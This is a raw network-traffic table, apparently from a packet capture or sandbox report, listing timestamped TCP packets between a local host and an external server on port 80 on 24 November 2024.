Nov 24, 2024 12:06:51.934132099 CET	80	50041	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:52.162559986 CET	80	50040	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:52.163100958 CET	50040	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:52.283624887 CET	80	50040	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:52.283685923 CET	50040	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:52.298301935 CET	50042	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:52.417838097 CET	80	50042	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:52.417937040 CET	50042	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:52.418018103 CET	50042	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:52.537508011 CET	80	50042	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.131591082 CET	80	50041	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.135521889 CET	50041	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.255590916 CET	80	50041	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.259044886 CET	50041	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.590192080 CET	50043	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.710123062 CET	80	50043	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.710221052 CET	50043	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.716804028 CET	50043	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.731255054 CET	80	50042	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.731739998 CET	50042	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:53.836404085 CET	80	50043	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.851834059 CET	80	50042	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:53.851932049 CET	50042	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:54.356287003 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:54.476130962 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:54.476211071 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:54.476454973 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:54.595988035 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.017038107 CET	80	50043	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.017699003 CET	50043	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.099812984 CET	50045	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.137825012 CET	80	50043	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.138005018 CET	50043	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.219485044 CET	80	50045	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.222898006 CET	50045	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.223021030 CET	50045	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.342592001 CET	80	50045	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909356117 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909492970 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909504890 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909514904 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909527063 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909540892 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909555912 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.909578085 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909594059 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909598112 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.909605026 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909617901 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:55.909632921 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:55.909651995 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.029256105 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.029371977 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.029437065 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.033359051 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.076109886 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.111255884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.111320972 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.111365080 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.115062952 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.115204096 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.115245104 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.123394012 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.123509884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.123553038 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.131756067 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.131896973 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.131951094 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.140091896 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.140217066 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.140255928 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.148559093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.148688078 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.148753881 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.156913042 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.157032013 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.157073021 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.165234089 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.165422916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.165466070 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.173923016 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.174005985 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.174051046 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.182010889 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.182128906 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.182171106 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.195847034 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.195861101 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.195933104 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.230964899 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.231023073 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.231066942 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.312565088 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.312577009 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.312657118 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.314984083 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.315098047 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.315162897 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.320072889 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.320152044 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.320208073 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.325253010 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.325324059 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.325403929 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.330254078 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.330398083 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.330440998 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.335406065 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.335500956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.335557938 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.340476990 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.340594053 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.340647936 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.345668077 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.345782995 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.345840931 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.350675106 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.350811958 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.350868940 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.355787992 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.355839968 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.355901957 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.360841036 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.360960960 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.361032963 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.364629030 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.364707947 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.364765882 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.368499994 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.368628025 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.368688107 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.372327089 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.372447014 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.372493982 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.376291037 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.376492023 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.376656055 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.379964113 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.380053997 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.380101919 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.383760929 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.383872986 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.383914948 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.387577057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.387674093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.387716055 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.391452074 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.391571045 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.391627073 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.395258904 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.395404100 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.395451069 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.399066925 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.399127960 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.399199963 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.402865887 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.451128960 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.513797045 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.513863087 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.513922930 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.515294075 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.515373945 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.515434980 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.518263102 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.518377066 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.518436909 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.521209002 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.521420956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.521486044 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.524117947 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.524231911 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.524295092 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.526964903 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.527187109 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.527244091 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.529772997 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.529876947 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.529937029 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.532623053 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.532720089 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.532777071 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.535495996 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.535552979 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.535687923 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.538266897 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.538311005 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.538367033 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.541029930 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.541111946 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.541176081 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.543840885 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.543977976 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.544033051 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.546694994 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.546789885 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.546835899 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.549339056 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.549457073 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.549504995 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.551060915 CET	80	50045	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.551531076 CET	50045	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.552165985 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.552217007 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.552269936 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.554994106 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.555104971 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.555146933 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.557791948 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.557907104 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.557964087 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.560679913 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.560812950 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.560873985 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.563397884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.563483000 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.563543081 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.566189051 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.566309929 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.566385031 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.568984985 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.569097042 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.569143057 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.571846962 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.571921110 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.571965933 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.574911118 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.574973106 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.575012922 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.577419043 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.577625036 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.577677011 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.580224037 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.580300093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.580343962 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.582986116 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.583076954 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.583121061 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.585825920 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.585907936 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.585957050 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.588610888 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.588735104 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.588778019 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.591365099 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.591547966 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.591605902 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.594191074 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.594384909 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.594443083 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.596965075 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.597043991 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.597112894 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.599834919 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.599905014 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.599972963 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.602725029 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.602758884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.602812052 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.605464935 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.605566978 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.605619907 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.608197927 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.608316898 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.608357906 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.610987902 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.611099958 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.611144066 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.613785028 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.614590883 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.614645004 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.617568970 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.617739916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.617794037 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.620492935 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.669843912 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.672482014 CET	80	50045	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.672528982 CET	50045	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.715080023 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.715162992 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.715205908 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.716200113 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.716372013 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.716414928 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.718439102 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.718615055 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.718652964 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.720705032 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.720896959 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.720941067 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.722934008 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.723016977 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.723062038 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.725070000 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.725119114 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.725159883 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.727238894 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.727416992 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.727457047 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.729393959 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.729434967 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.729470968 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.731492043 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.731611967 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.731666088 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.733613968 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.733872890 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.733932972 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.735690117 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.735778093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.735833883 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.737653971 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.737806082 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.737859964 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.739706039 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.739818096 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.739877939 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.741709948 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.741924047 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.741983891 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.743660927 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.743786097 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.743839025 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.745620966 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.745687008 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.745732069 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.747594118 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.747731924 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.747769117 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.749541998 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.749739885 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.749802113 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.751528978 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.751593113 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.751653910 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.753494024 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.753616095 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.753659964 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:56.755494118 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.755639076 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:56.755700111 CET	50044	80	192.168.2.5	178.215.224.74
